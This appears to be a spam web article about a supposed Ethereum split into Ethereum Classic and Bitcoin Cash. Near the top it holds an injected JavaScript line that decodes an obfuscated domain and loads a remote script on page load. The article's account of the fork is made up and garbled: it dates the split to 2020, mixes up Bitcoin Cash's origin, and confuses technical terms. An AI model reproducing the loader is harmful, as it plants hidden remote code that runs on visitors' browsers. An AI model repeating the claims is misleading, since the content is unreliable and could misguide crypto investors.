Ethereum: What happens to coins after Bitcoin Cash fork?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=149ef6cd”;document.body.appendChild(script);

Ethereum: What happens to the pieces after the Bitcoin Cash fork?

On August 1, 2020, the second largest cryptocurrency in the world by market capitalization, Ethereum (ETH), will turn into two distinct blockchains: Ethereum Classic (etc.) and Bitcoin Cash (BCC). This decision aims to provide a more secure, decentralized and resistant censorship to users who wish to maintain their existing investment in ETH.

Background

Ethereum is not a cryptocurrency; It is a decentralized application platform that allows developers to create smart contracts and decentralized applications (DAPP) on its blockchain. The Ethereum network is the largest IT project distributed in the world, with more than 70 million users and a market capitalization estimated at 500 billion dollars at its peak.

Bitcoin Cash: a bitcoin fork

Bitcoin Cash (BCC) is a spin-off of the Bitcoin network, but it has distinct differences from Bitcoin. The original Bitcoin protocol has been criticized for its treatment times of slow transactions, its high costs and its limited scalability. To solve these problems, the developers have created BCC, which aims to improve the speed, security and conviviality of Bitcoin.

The fork: etc. against BCC

On August 1, 2020, the Ethereum community will sink into two distinct blockchains:

* Ethereum Classic (etc.) : It will be a complete blockchain with its own script language, EVM (Ethereum Virtual Machine) and the smart contract functionality.

* Bitcoin Cash (BCC) : As mentioned above, it will be a light, fast and low cost cryptocurrency with some Bitcoin differences.

What happens to the pieces after the fork?

The result of the fork will depend on the decisions of individual investors. Here are some possible scenarios:

• Investors who want etc : If you are an Ethereum investor who wishes to maintain your ETH investment and remain faithful to the original Ethereum blockchain, you will have to go to ETUs using a material wallet or compatible portfolio software.

• Bitcoin Cash (BCC) Investors : Those who prefer BCC will automatically obtain their parts when they get up in the new blockchain. If you have already bought BCC via a third -party exchange or service, your transaction will be reflected on the two blockchains.

• New users : If you are new in cryptocurrency investment, you may have to explore other options and search for the functionality, risks and potential yields of each room.

Key differences between etc and BCC

To illustrate the main differences between etc and BCC:

* Evolution : etc. is designed for high traffic applications, while BCC is more suitable for light users.

* SECURITY : etc uses a hybrid proof of work system (POW), which combines traditional POW with SHA-256. BCC uses the light bip39 seed system for seeds based on seeds and has improved safety characteristics compared to Bitcoin.

* Transaction costs : BCC is much cheaper than Bitcoin transaction costs.

Conclusion

The Ethereum En etc and BCC fork marks an important step in the evolution of decentralized finance (DEFI) and cryptocurrency space. Although there are risks involved, many investors have managed to migrate their parts to etc. or BCC. As with any investment decision, it is essential to do your research, to understand the differences between etc and BCC, and to consider your individual financial objectives before moving.

Notice of non-responsibility

: This article is for information purposes only and should not be considered as investment advice. Always carry out in-depth research and consult experts before making decisions concerning the investment of cryptocurrencies.